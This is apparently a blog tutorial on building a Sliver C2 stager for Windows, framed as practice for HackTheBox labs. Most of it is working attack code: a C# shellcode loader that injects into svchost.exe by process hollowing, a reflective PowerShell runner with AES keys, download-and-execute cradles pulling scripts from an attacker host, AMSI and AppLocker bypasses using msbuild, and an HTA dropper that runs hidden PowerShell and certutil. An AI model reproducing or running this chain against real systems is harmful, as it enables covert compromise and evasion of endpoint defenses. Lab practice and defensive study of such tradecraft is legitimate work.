Writing a Sliver C2 Powershell Stager with Shellcode Compression and AES Encryption

Ycf-Kel
13 min readApr 17, 2023

Introduction

Sliver C2 is the hottest command & control tool right now. but you don't have to take my word for it , here is Adam Chester (aka XPN)’s tweet about it :

He is not the only one holding this opinion. because the capabilities that Sliver C2 offers are incredible! and free !

You can check Sliver C2’s repo to see what it offers.

If you are planning on switching to Sliver , or just experimenting with it, you would want to practice the cyber killchain on labs such as the HackTheBox Pro Labs . this is not a straight forward process if you want realistic code execution paths despite the slow download speed on these labs.
On this blog, i will show you how i managed to solve that problem by combining Sliver C2 staging with the Dotnet Framework.

Backstory

I got interested in Sliver C2 when i was going through some enterprise labs. Metasploit’s tedious workflow for attacking enterprise networks played a huge part on that. I started exploring other options online until a fellow student introduced me to Sliver C2 . I was totally amazed by it, but i never managed to get it to work properly or at a lest in a usable state . Mainly because i didn't understand the inner workings of it .
I was not able to get a shell because the stager took too long to download it (the smallest size i was able to generate was 10MB) so the web client was timing out , nor with shellcode, it would take forever to download. Which was not practical at all.

Sliver C2 Staging Protocol

The Stagers Wiki Page of Sliver C2 goes more in depth on how the protocol works. But what you need to know to get started is much less. The critical points that you need to understand are :
- Sliver C2 is written in GoLang. Go creates static binaries, the compromise with that is that the binaries will be huge in size. Sliver C2 offers compression to deal with that.
- Sliver C2 implements staging using a concept called profiles. A profile is a blueprint that defines the staging configuration that the operation will follow.
- Sliver can generate stagers (typically in the form of shellcode) that will call to the stage listener to fetch the rest of the payload.
- We can write our own stager to fetch the rest of the payload instead of using the shellcode generated by Sliver.

Defining the Goal

Our goal is to create a shellcode runner that has the following characteristics :
it has to be written in a language that is supported by default on windows:
- For that we will use Dotnet Framework 4.0 which is installed by default on windows 10 operating systems. And updated legacy systems. We will use it with a combination of Powershell and C#.
it has to bypass the common defenses found on the modern windows operating systems:
- The defenses we will attempt to bypass are windows defender , AMSi,Powershell Constrained Languge Mode , and Applocker.
it has to use a commonly whitelisted protocol in order to bypass the firewall rules and fit in with the normal traffic:
- We will use the HTTPS Protocol with custom SSL Certificates and Keys in order to maximize our chances of getting our code executed. We will also use AES Encyption to encrypt the the shellcode to offer additional layers of obfuscation.

Setting Up Sliver C2

  • You can follow the wiki page to install Sliver C2.
  • When the installation is done. First we will get the Sliver C2 service started by running the following command:
sudo systemctl start sliver
  • Next we lunch Sliver (by running the “sliver” command from the shell). after that we will create a new profile by running this command :
profiles new -b  https://192.168.1.11:443 --skip-symbols --format shellcode --arch amd64 local
# --skip-symbols to speed up the building process.
# local is the name of the profile. you can use any name you want.
#-b for specifying HTTPS as the protocol.
  • Next we will start our listener . we will have to specify the same Port , IP Address and Protocol we specified when we created the profile. For the SSL cert and key , i used the Metasploit module “auxiliary/gather/impersonate_ssl” on “google.com” . You can follow the steps on this article in order to achieve that:
https -L 192.168.1.11 -l 443 -c /home/ycf/blog/sliver/crt.crt -k /home/ycf/blog/sliver/key.key
  • Next we will use the stage-listener command to lunch our staging server. We will specify the Port 8080 with the HTTPS protocol . we will specify the same SSL cert and Key we got from Metasploit. We will also specify the compression algorithm in addition to the AES Encryption Keys as follows :
stage-listener --url https://192.168.1.11:8080 --profile local -c /home/ycf/blog/sliver/crt.crt -k /home/ycf/blog/sliver/key.key -C deflate9 --aes-encrypt-key D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT --aes-encrypt-iv 8y/B?E(G+KbPeShV 
  • To confirm that our listeners are running , we run the jobs command :
jobs

Designing the Shellcode Runner

The features that i want to include in this Shellcode runner are :

  • Support for the different staging scenarios that Sliver C2 offers (Raw Shellcode , Compression, AES Encryption, Compression and AES Encryption ..etc).
  • Process Hollowing.
  • AMSI Bypass
  • In memory execution(avoid touching disk while i can)
  • Flexibility when passing arguments (no hard-coded parameters. instead , i will be able to pass the arguments on the fly)

There are different approaches we can take to achieve this . What i ended up choosing was :

  • Write a C# DLL Assembly that contains all the methods we need.
  • Embed it in the Powershell script as a base64 string.
  • Decode the assembly and load it in the process using Reflection.
  • Specify the arguments and execute the methods.

Downlaoding the shellcode

This was one of the main problems i encountered back when i started. The default Dotnet Webclient object times out the connection after 60 seconds. And this attribute can not be easily changed. The solution for that is to implement a slightly modified version of the web client object where we can override the default timeout with the value we need. The implementation of that on C# is :

 public class WebClientWithTimeout : WebClient
{
protected override WebRequest GetWebRequest(Uri address)
{
WebRequest wr = base.GetWebRequest(address);
wr.Timeout = 50000000; // timeout in milliseconds (ms)
return wr;
}
}

Since we are using a custom SSL cert , We will have to instruct the web client to ignore it . To do that we will use a certificate validation handler that returns the value true as follows :

ServicePointManager
.ServerCertificateValidationCallback +=
(sender, cert, chain, sslPolicyErrors) => true;

Decrypting the shellcode

On the Stagers wiki page , the Sliver C2 team offers a template for a C# shellcode runner that implements AES Decryption. we can just use the decryption method they provide :

public static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
{
byte[] key = Encoding.UTF8.GetBytes(AESKey);
byte[] IV = Encoding.UTF8.GetBytes(AESIV);

using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.IV = IV;
aesAlg.Padding = PaddingMode.None;

ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

using (MemoryStream memoryStream = new MemoryStream(ciphertext))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(ciphertext, 0, ciphertext.Length);
return memoryStream.ToArray();
}
}
}
}

Decompressing the shellcode

Sliver C2 supports Gzip,Deflate9 and Zlib compression algorithms. I ended up not implementing Zlib because its only supported on Dotnet Framework version 7.0 and above which does not fit our use case.
We will have to set the decompression algorithm parameter to Gzip, Deflate9. Any other value will be treated as “no decompression needed” :

        public static byte[] Decompress(byte[] data, string CompressionAlgorithm)
{
byte[] decompressedArray = null;
if (CompressionAlgorithm == "deflate9")
{
using (MemoryStream decompressedStream = new MemoryStream())
{
using (MemoryStream compressStream = new MemoryStream(data))
{
using (DeflateStream deflateStream = new DeflateStream(compressStream, CompressionMode.Decompress))
{
deflateStream.CopyTo(decompressedStream);
}
}
decompressedArray = decompressedStream.ToArray();
}
return decompressedArray;
}
else if (CompressionAlgorithm == "gzip")
{
using (MemoryStream decompressedStream = new MemoryStream())
{
using (MemoryStream compressStream = new MemoryStream(data))
{
using (GZipStream gzipStream = new GZipStream(compressStream, CompressionMode.Decompress))
{
gzipStream.CopyTo(decompressedStream);
}
}
decompressedArray = decompressedStream.ToArray();
}
return decompressedArray;
}
else
{

return data;
}


}

Executing the Shellcode into Another Process using Process Hollowing

For that i ended using the Process Hollowing script from defcon’s offensive C# workshop. you can use any C# Shellcode Execution technique you want.

The Final Source Code

I added some conditional operations to separate the different workflows from each other. And to allow us to pass the parameters we want to the different methods. the final source code will look like this :

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.IO.Compression;
namespace Sl1verLoader
{
public class Program
{
private static string AESKey;
private static string AESIV;

[StructLayout(LayoutKind.Sequential)]
public class SecurityAttributes
{
public Int32 Length = 0;
public IntPtr lpSecurityDescriptor = IntPtr.Zero;
public bool bInheritHandle = false;

public SecurityAttributes()
{
this.Length = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct ProcessInformation
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 dwProcessId;
public Int32 dwThreadId;
}
[Flags]
public enum CreateProcessFlags : uint
{
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,
REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}


[StructLayout(LayoutKind.Sequential)]
public class StartupInfo
{
public Int32 cb = 0;
public IntPtr lpReserved = IntPtr.Zero;
public IntPtr lpDesktop = IntPtr.Zero;
public IntPtr lpTitle = IntPtr.Zero;
public Int32 dwX = 0;
public Int32 dwY = 0;
public Int32 dwXSize = 0;
public Int32 dwYSize = 0;
public Int32 dwXCountChars = 0;
public Int32 dwYCountChars = 0;
public Int32 dwFillAttribute = 0;
public Int32 dwFlags = 0;
public Int16 wShowWindow = 0;
public Int16 cbReserved2 = 0;
public IntPtr lpReserved2 = IntPtr.Zero;
public IntPtr hStdInput = IntPtr.Zero;
public IntPtr hStdOutput = IntPtr.Zero;
public IntPtr hStdError = IntPtr.Zero;
public StartupInfo()
{
this.cb = Marshal.SizeOf(this);
}
}
[DllImport("kernel32.dll")]
public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine, SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes, Boolean bInheritHandles, CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
String lpCurrentDirectory,
[In] StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation

);

[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);


private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 MEM_COMMIT = 0x1000;

public static void DownloadAndExecute(string url, string TargetBinary, string CompressionAlgorithm,byte[] AESKey,byte[] AESIV)
{

ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new WebClientWithTimeout();

byte[] encrypted = client.DownloadData(url);
List<byte> l = new List<byte> { };
byte[] actual;
byte[] compressed;
if (AESKey != null && AESIV != null)
{


for (int i = 16; i <= encrypted.Length - 1; i++)
{
l.Add(encrypted[i]);

}
actual = l.ToArray();
compressed = Decrypt(actual, AESKey, AESIV);
}
else
{
compressed = encrypted;

}






byte[] sc = Decompress(compressed, CompressionAlgorithm);
string binary = TargetBinary;

Int32 size = sc.Length;
StartupInfo sInfo = new StartupInfo();
sInfo.dwFlags = 0;
ProcessInformation pInfo;
string binaryPath = "C:\\Windows\\System32\\" + binary;
IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
IntPtr hProcess = pInfo.hProcess;
IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

int test = 0;
IntPtr size2 = new IntPtr(sc.Length);
bool bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test);
CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
return;
}
public static byte[] Decompress(byte[] data, string CompressionAlgorithm)
{
byte[] decompressedArray = null;
if (CompressionAlgorithm == "deflate9")
{
using (MemoryStream decompressedStream = new MemoryStream())
{
using (MemoryStream compressStream = new MemoryStream(data))
{
using (DeflateStream deflateStream = new DeflateStream(compressStream, CompressionMode.Decompress))
{
deflateStream.CopyTo(decompressedStream);
}
}
decompressedArray = decompressedStream.ToArray();
}
return decompressedArray;
}
else if (CompressionAlgorithm == "gzip")
{
using (MemoryStream decompressedStream = new MemoryStream())
{
using (MemoryStream compressStream = new MemoryStream(data))
{
using (GZipStream gzipStream = new GZipStream(compressStream, CompressionMode.Decompress))
{
gzipStream.CopyTo(decompressedStream);
}
}
decompressedArray = decompressedStream.ToArray();
}
return decompressedArray;
}
else
{

return data;
}


}
public static byte[] Decrypt(byte[] ciphertext, byte[] AESKey, byte[] AESIV)
{
byte[] key = AESKey;
byte[] IV = AESIV;

using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.IV = IV;
aesAlg.Padding = PaddingMode.None;

ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

using (MemoryStream memoryStream = new MemoryStream(ciphertext))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(ciphertext, 0, ciphertext.Length);
return memoryStream.ToArray();
}
}
}
}
public class WebClientWithTimeout : WebClient
{
protected override WebRequest GetWebRequest(Uri address)
{
WebRequest wr = base.GetWebRequest(address);
wr.Timeout = 50000000; // timeout in milliseconds (ms)
return wr;
}
}
}
}

Compiling the Assembly

  • Run visual studio and create a new project.
Create a New Project
  • Build the assembly (release / x64).
Build the Assembly

Now , our Assembly is ready to be embedded in our Powershell script.

Writing the Powershell Shellcode Runner

  • First we will have to copy the raw bytes of the assembly , for that we will use this Powershell command(this will copy the data to your clipboard):
get-content -encoding byte -path .\sliverloader.dll | clip
  • Next we will use CyberChef to convert the data to base64 as follows:
Base64 encode the Assembly Bytes
  • Copy the base64 string and paste it on this template script:
$encodeStr = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...etc"

$decodeStr = [System.Convert]::FromBase64String($encodeStr)
[System.Reflection.Assembly]::Load($decodeStr)
$url = #stage listener url
$TargetBinary = #the binarry to hollow and inject shellcode into (svchost.exe as an example)
[byte[]]$AESKey =
[byte[]]$AESIV =


$CompressionAlgorithm = "deflate9" # gzip, leave empty for no decompression
[Sl1verLoader.Program]::DownloadAndExecute($url,$TargetBinary,$CompressionAlgorithm,$AESKey,$AESIV)#lunch the method

The only problem i face with Powershell is that it does not support Raw Byte Encoding which Sliver C2 uses for AES Encryption. The workarounds for this are to either embed the keys inside the assembly which will make the process of changing them tedious or convert the keys to raw bytes using CyberChef and passing them to the script which i ended up using.

  • To convert the keys to raw bytes , use the following recipe on CyberChef:
Converting the AES Keys to Bytes
  • Our final shellcode runner will look like this:
$encodeStr = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..etc"

$decodeStr = [System.Convert]::FromBase64String($encodeStr)
[System.Reflection.Assembly]::Load($decodeStr)
$url = "https://192.168.1.11:8080/test.woff"
$TargetBinary = "svchost.exe"
[byte[]]$AESKey = 0x44,0x28,0x47,0x2b,0x4b,0x62,0x50,0x65,0x53,0x68,0x56,0x6d,0x59,0x71,0x33,0x74,0x36,0x76,0x39,0x79,0x24,0x42,0x26,0x45,0x29,0x48,0x40,0x4d,0x63,0x51,0x66,0x54
[byte[]]$AESIV = 0x38,0x79,0x2f,0x42,0x3f,0x45,0x28,0x47,0x2b,0x4b,0x62,0x50,0x65,0x53,0x68,0x56

$CompressionAlgorithm = "deflate9"
[Sl1verLoader.Program]::DownloadAndExecute($url,$TargetBinary,$CompressionAlgorithm,$AESKey,$AESIV)

AMSI Bypass

If you are looking to use Sliver, you probably have your own AMSI Bypass, in case you don't, you can follow this article or this repo in order to write your own. However you should stick to the amsiscanbuffer() patch bypass as it bypasses AMSI for the whole process (Powershell and Dotnet framework) and not just Powershell like the matt graeber bypass.

Catching the Shell

  • First we will host our shell code runner “SliverPhollow.txt” and our AMSI Bypass “am.txt” which will call our shell code runner after AMSI is bypassed.
  • Add this as the last line on your am.txt file :
(New-Object System.Net.WebClient).DownloadString('http://192.168.1.11:80/SliverPhollow.txt') | IEX)
  • We then will execute our download cradle :
(New-Object System.Net.WebClient).DownloadString('http://192.168.1.11:80/am.txt') | IEX
  • Lets check the listener:
  • We are running from the hollowed process we specified :
  • With the slow download speed on the labs , this will take 49s exactly to get the shell back.
  • Yo disable the AES Decryption, submit the “$null” value to the keys.
  • To disable the decompression, submit any other value than gzip or deflate9.

Applocker Bypass

  • I chose the msbuild applocker bypass with one small addition , it is the importing of the System.Management.Automation.dll which took some time to figure out.
  • The script will reference the DLL , create a new runspace (which will not be subject to Powershell constrained language mode) then fetch the AMSI Bypass and the shellcode runner and execute them.
  • To alter the workflow of the code you can add a reference to any DLL you want using this statement as an example :
 <Reference Include="System.Management.Automation" />
  • We will embed our file as base64 to write it to disk , decode it using certutil.exe then execute it using the msbuild.exe binary.
  • Our xml file will look like this :(special thanks to evi1cg and chvancooten)
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<FragmentExample />
<ClassExample />
</Target>
<UsingTask
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.IO" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello From Fragment");
]]>
</Code>
</Task>
</UsingTask>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[

using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;

public class ClassExample : Task, ITask
{
public override bool Execute()
{
String cmd = @"(New-Object Net.WebClient).DownloadString('http://192.168.1.11/am.txt') | iex";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
return true;


}


}




]]>
</Code>
</Task>
</UsingTask>
</Project>
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var re = shell.Run("powershell -windowstyle hidden echo PFByb2plY...etc > c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\d.xml;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe C:\\windows\\temp\\d.xml")
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
  • Host the hta file as well as the AMSI Bypass and the shellcode runner scripts on a web server, and call them using this command :
mshta.exe http://192.168.1.11/htafile.hta
  • Check your Sliver console !
[*] Session 762de3f2 STATUTORY_FIGHT - 192.168.1.3:49574 (DESKTOP-BPD57DK) - windows/amd64 - Wed, 12 Apr 2023 13:55:31 EDT

Conclusion

Sliver C2 is one of the best Adversary Emulation tools right now , and it will dethrone a lot of what is considered as industry standard . It is really important to practice using it in all the aspects of the Cyber Killchain. I will be blogging later about that . Happy Hacking !

--

--